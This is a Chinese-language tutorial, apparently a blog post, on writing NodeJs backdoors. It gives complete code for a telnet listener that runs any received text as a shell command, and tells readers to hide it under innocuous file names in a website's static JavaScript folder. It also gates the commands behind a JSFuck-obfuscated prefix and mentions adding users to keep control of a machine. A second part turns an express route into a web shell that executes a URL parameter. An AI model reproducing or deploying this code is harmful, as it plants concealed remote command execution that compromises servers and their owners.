從語言下手,來寫一個市面沒有的后面程序。
NodeJs是一個非常年輕的語言,以至于很多人都沒有學過。我見過運維人員懂PHP、Python的,但是懂NodeJs的,我是沒見過。
接下來的篇章,我會使用telnet通信和web通信兩個方式來寫NodeJs后面程序。
下一篇再說
有關NodeJs安裝的,請自行百度。
我這里使用的是NodeJs版本是5.1.0
NodeJs安裝完成后,我們可以隨便在哪一個目錄建立一個NodeJs文件,當然我這里推薦在服務器網站上的靜態目錄里的JavaScript目錄來寫,因為都是JavaScript文件,有很大的隱蔽性。我嫌麻煩,就在~目錄下建立一個nodeDemo目錄來建立NodeJs文件了。
我這里建立的是app.js,當然名字隨便取,你可以取base.js、cache.js、cookies.js等等,起到隱蔽性就行了。
NodeJs里使用telnet進行通信的時候,需要調用net
庫和child_process
庫里的exec方法。
代碼如下:
var net = require('net');
var exec = require('child_process').exec;
然后使用createServer()函數來創建連接,代碼如下:
var server= net.createServer(function(conn){
//code
});
接下來要解決字符串編碼問題,不然亂碼真的沒法看:
conn.setEncoding('utf8');
注意這里沒有-
,不是utf-8
。切記。
為了好看,我還特意加上了conn.write('\n')
;恩,這樣好看多了。
OK,接下來就是連接成功后,處理輸入的字符串了。這里需要用on函數:
conn.on('data',function(data){
//code
});
在輸入后的字符串里,刪除掉回車字符串。
data=data.replace('\r\n','');
這段代碼非常重要。我被這個坑卡了二十分鐘。很多人可能會問不就是個回車么,按兩次回車鍵怎么了。問題就在這。他這是ascll編碼,也就是說你這個不會回車,而是回車的ascll編碼,如果沒有這個命令,你輸入的命令都將無法使用,你用echo輸出到的文件也會變成xxx.txt?這里并不是真正的?,而是系統無法顯示出這個字符,而用?告訴人們,這是一個無法顯示的字符串。
這里的data變量就是我們輸入的命令了。接下來就要用到child_process
庫里的exec方法了。
exec(data,function(error,stdout){
//code
});
exec的第一個參數是data,也就是我們要運行的代碼,后面的參數是個函數,這個函數里的一個參數是error,他是反饋命令中存在的錯誤。二個參數stdout是命令運行后的反饋。
我們先判斷運行的命令中是否存在錯誤:
if(error !== null){
conn.write(error + '\n');
return false;
}
如果沒有錯誤會反饋null字符串,我們就拿這個當做判斷條件。Conn.write是在telnet終端反饋字符的,相當于php中的echo。
return false;
是防止程序繼續向下執行。
接下來就是顯示命令反饋了:
conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
為了更加的直觀,我用#start和#end來標出反饋的區域。
server變量OK后,就是讓程序監聽端口運行了。
server.listen(3000,function(){
console.log('OK');
});
監聽3000端口,并在終端中顯示OK。
完整代碼如下:
var net = require('net');
var exec = require('child_process').exec;
var server= net.createServer(function(conn){
conn.setEncoding('utf8');
conn.write('\n');
conn.on('data',function(data){
data=data.replace('\r\n','');
exec(data,function(error,stdout){
if(error !== null){
conn.write(error + '\n');
return false;
}
conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
});
});
});
server.listen(3000,function(){
console.log('OK');
});
現在讓我們來測試一下:
打開另一個終端,輸入telnet 127.0.0.1 3000
現在我們輸入幾條命令試下:
OK了。現在只需要使用添加用戶即可再次控制機器。
而這里有個缺陷,就是沒有密碼驗證,我特意查了net庫里的函數,但是沒有找到密碼驗證,于是我想到了另一種方法來代替密碼驗證。代碼如下:
if(data.substring(0,2) == 'js'){
data = data.substring(2);
}else{
return false;
}
每一條命令的前面都加上js才會運行,如果沒有,則什么都不輸出。事例:
加上當我第一次輸入ls的時候,程序并沒有運行,當前面加上js字符串之后,命令才成功的運行。
直接寫js字符串太顯眼了,我們加密一下吧,因為NodeJs用的v8引擎,那么在瀏覽器里的JavaScript黑魔法,在NodeJs里也可以使用,我們打開http://www.jsfuck.com/把js加密下,加密后的字符串是:
(+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
如圖:
那么現在的NodeJs后門代碼就變成這個樣子:
現在我們來測試一下能不能使用:
完美。
上節說道使用telnet通信當做后門,那么現在我們來說一說web通信后門。
這里是使用了express框架嗎,玩過NodeJs的人都知道,基本是NodeJs必裝框架。
安裝express框架請自行百度。
首先我們建立一個網站目錄用于存放后面程序。
express node如圖:
cd node && npm install
完成后,基本就OK了。現在我們進入到routes目錄。修改index.js文件。
vim router/index.js
這是之前的index.js代碼,現在我們來修改它。
在第三行加入代碼:
var exec = require('child_process').exec;
刪除第6行代碼,修改為:
exec(req.query.webshellPassword,function(error,stdout){
if(error !== null){
res.send(error);
return false;
}
res.send(stdout);
});
基本和上一節的telnet通信后門代碼差不多。只是出現了如下代碼:
req.query.webshellPassword
req.query
是NodeJs獲取URL參數的。webshellPassword是參數名。他相當于PHP代碼里的:$_GET['webshallPassword'];
完整代碼如下:
現在我們進入到node目錄。運行它:
打開瀏覽器,輸入http://127.0.0.1:3000/?webshellPassword=ls
結果如下:
瀏如果是window系統,沒有裝linux命令集的話,請把ls改成dir。
我們來大致看一下能做哪些事:
想干啥都可以,心情瞬間變得更美麗的呢。
下一章將說到使用網站來管理后門。麻麻再也不用擔心我天天抱著電腦了呢。